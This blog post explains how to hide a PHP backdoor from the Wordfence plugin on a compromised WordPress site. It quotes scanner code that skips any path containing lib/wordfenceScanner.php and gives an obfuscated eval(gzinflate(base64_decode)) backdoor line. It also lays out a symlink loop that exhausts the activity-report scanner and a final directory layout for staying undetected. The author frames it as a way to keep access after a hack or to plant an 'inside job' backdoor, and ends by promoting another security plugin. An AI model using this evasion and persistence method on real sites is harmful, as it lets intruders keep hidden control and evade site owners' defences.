How to defeat wordfence protected wordpress

In my first post I wrote how to scan wordpress instace protected by wordfence. Here I’ll describe what could be fatal for wordpress installation handling following situations with wordfence (things are much more worst if wordfence isn’t configured to be bootstraped via php.ini file — a lot of installations):

  1. Dealing with post hack e.g. cleaning hacked wordpress
  2. Finding hole during scanning wordfence protected wordpress as “valid” google crawler and exploiting the issue
  3. Inside job e.g. putting backdoor into production wp instance

Let say we manage to gain access to the wordfence protected wordpress and now we need to deal with it. We have two main problems:

  1. Scans (scan for malware, changes into core files, filechanges…)
  2. Activity reports (checks for new/modified files into watched directories)

1. Defeating scans

If you look inside wordfence code, to be much more precise where scan occurs then you will notice the following(file: lib/wordfenceScanner line:300):

else if(strpos($file, ‘lib/wordfenceScanner.php’) === false) {

This means do not scan filepath with lib/wordfenceScanner.php in it for malware! WTF!? Probably this is due situation of bootstraping wordfence via php.ini file and using as WAF for any php application but there are few ways to check if this lib/wordfenceScanner.php is the valid one…

See the wordfence behaviour in action: I have created 2 files, wfs.php and wordfenceScanner.php and put the following code in it (will do nothing but should be caught by malware scanner):

<?php
preg_replace(“/.*/e”,”\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tV”);

I have place the files in the following folder structure:

File setup to be scanned by wordfence

After running the scan I got the results:

scan results

As you can see only one file is scanned for malware e.g. backdoor and the file under 09/lib/wordfenceScanner.php isn’t processed even the scanner found it as file on the file system:

Ok, now if you read this text to this point probably you will say that new files / file changes will appear under Activity report that occurs (most probably once a day) on user defined time intervals. Does it? Is there is a mechanism to defeat it? YES :)

2. Defeating Activity reports

As we all know activity reports will take care for suspicious activities during time interval on our wordpress installation e.g. will monitor for new created files under specified locations. Let check the code class wfRecentlyModifiedFiles extends wfDirectoryIterator and performs deep file scanning into directories. Let check the code of the scanner(file: lib/wfDirectoryIterator.php) e.g. its scan function:

protected function scan($dir) {
$dir = rtrim($dir, DIRECTORY_SEPARATOR);
$handle = opendir($dir);
$file_count = 0;
while ($file = readdir($handle)) {
if ($file == ‘.’ || $file == ‘..’) {
continue;
}
$file_path = $dir . ‘/’ . $file;
if (is_dir($file_path)) {
if ($this->scan($file_path) === false) {
closedir($handle);
return false;
}
} else {
if ($this->file($file_path) === false) {
closedir($handle);
return false;
}
}
if (++$file_count >= $this->directory_limit) {
break;
}
if (++$this->iterations >= $this->max_iterations) {
closedir($handle);
return false;
}
}
closedir($handle);
return true;
}

As you can see the recursion has its own mechanism of infinite executions 1000000 but there isn’t usage of realpath php function for sanitation of the file path + there isn’t measure what folders were already processed. This guides us to the following idea: Can we trick file watcher to stop into one place and to hide new created files from it. Answer is YES and we can accomplish that by using the good old symbolic links :)

Lets create a folder named 01 under 09 folder and fill with the following symbolic links:

user@user:/var/www/wfsuka/wp/wp-content/uploads/2016/09/01$ ls -al
total 8
drwxrwxr-x 2 user user 4096 Oct 19 12:18 .
drwxrwxr-x 4 user user 4096 Oct 19 12:15 ..
lrwxrwxrwx 1 user user 5 Oct 19 12:16 1 -> ../01
lrwxrwxrwx 1 user user 5 Oct 19 12:18 2 -> ../01
lrwxrwxrwx 1 user user 5 Oct 19 12:18 3 -> ../01
lrwxrwxrwx 1 user user 5 Oct 19 12:18 4 -> ../01
lrwxrwxrwx 1 user user 5 Oct 19 12:18 5 -> ../01
lrwxrwxrwx 1 user user 5 Oct 19 12:18 6 -> ../01

Now, the activity report will scan everything until it hits the 01 folder and finish there e.g. will exceed 1000000 iterations.

Final attack vector

Having this on mind we come with the following setup that will not be detected by wordfence:

├── 09
│ ├── 01
│ │ ├── 1 -> ../01
│ │ ├── 2 -> ../01
│ │ ├── 3 -> ../01
│ │ ├── 4 -> ../01
│ │ ├── 5 -> ../01
│ │ └── 6 -> ../01
│ └── lib
│ └── wordfenceScanner.php ( php backdoor here )

This folder 01 and its content could be deleted after $this->time_range amount of time and will stay forever hidden from wordfence(class wfRecentlyModifiedFiles):

public function file($file) {
$mtime = filemtime($file);
if (time() — $mtime < $this->time_range) {
$this->files[] = array($file, $mtime);
}
}

Why this occur?

2 things:
- Weak e.g. no validation of lib/wordfenceScanner.php
- Not using file path sanitation and not keeping track of scanned resources (this is not the case for the wordfence scanner :) )

Summary

Nothing is secure, attacks are common and humans make mistakes. Usually when attack occurs attackers come with hidden identity via anonymous networks and that is why I recommend https://wordpress.org/plugins/pike-firewall/ at the top of any wordpress security plugin!